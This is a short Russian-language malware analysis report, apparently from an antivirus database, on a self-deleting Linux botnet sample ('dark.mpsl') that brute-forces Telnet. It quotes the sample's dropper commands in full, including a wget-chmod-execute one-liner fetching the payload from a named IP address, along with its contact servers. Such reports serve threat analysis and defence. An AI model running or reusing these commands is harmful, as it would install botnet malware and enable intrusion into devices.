Техническая информация
Вредоносные функции:
Самоудаляется
Запускает себя в качестве демона
Запускает процессы:
- sh -c wget http://34.67.138.200/dark_bins/dark.mpsl; chmod 777 *; ./dark.mpsl wget.loader.mpsl
- wget http://34.67.138.200/dark_bins/dark.mpsl
- chmod 777 dark.mpsl run.sh stdout.log
- ./dark.mpsl wget.loader.mpsl
- sh -c rm -rf hmpsl
- rm -rf hmpsl
Выполняет операции с файловой системой:
Модифицирует права доступа к файлам:
- /root/dark.mpsl
- /root/run.sh
Создает или модифицирует файлы:
- /root/dark.mpsl
Удаляет файлы:
- /root/hmpsl
Сетевая активность:
Устанавливает соединение:
- 8.#.8.8:53
- 34.##.138.200:1791
Проводит атаку перебором по словарю (брутфорс) по протоколу Telnet.
HTTP GET-запросы:
- 34.##.###.200/dark_bins/dark.mpsl
Посылает данные следующим серверам:
- 34.##.138.200:1791
- 67.###.48.237:23
- 10#.#21.5.97:23
- 16#.##2.139.153:23
Получает данные от следующих серверов:
- 34.##.138.200:1791
